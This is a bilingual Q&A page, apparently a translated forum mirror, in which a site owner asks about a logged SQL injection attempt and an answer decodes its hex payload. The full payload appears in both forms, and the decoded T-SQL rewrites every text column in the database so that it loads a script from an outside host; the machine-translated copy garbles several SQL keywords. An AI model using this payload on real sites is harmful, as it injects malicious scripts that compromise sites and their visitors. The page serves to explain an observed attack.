尝试 SQL 注入攻击 - 他们想做什么? [英] Attempted SQL injection attack - what are they trying to do?
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问题描述
我有一个面向公众的网站,该网站在过去几周内收到了多次 SQL 注入攻击.我只使用参数化存储过程,所以我相信没有成功攻击,但最近的日志显示了一个有趣的技术:
为了清晰起见添加了换行符
<前>http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);&_X="谁能解释一下CAST and EXEC"试图做什么?
解决方案
以下是他们试图推送的解码 SQL:
声明@T varchar(255),@C varchar(4000)DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.nameFROM sysobjects a,syscolumns b哪里 a.id=b.idAND a.xtype='u'AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)OPEN Table_Cursor FETCH NEXTFROM Table_Cursor INTO @T,@C时(@@FETCH_STATUS=0)BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] 其中 '+@C+' 不像 ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@CEND CLOSE 表_光标DEALLOCATE Table_Cursor
I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no successful attacks, but a recent log showed an interesting technique:
Line breaks added for clarity
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="
Can anyone shed light on what the "CAST and EXEC" is attempting to do?
解决方案
Below is the decoded SQL that they were trying to push:
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
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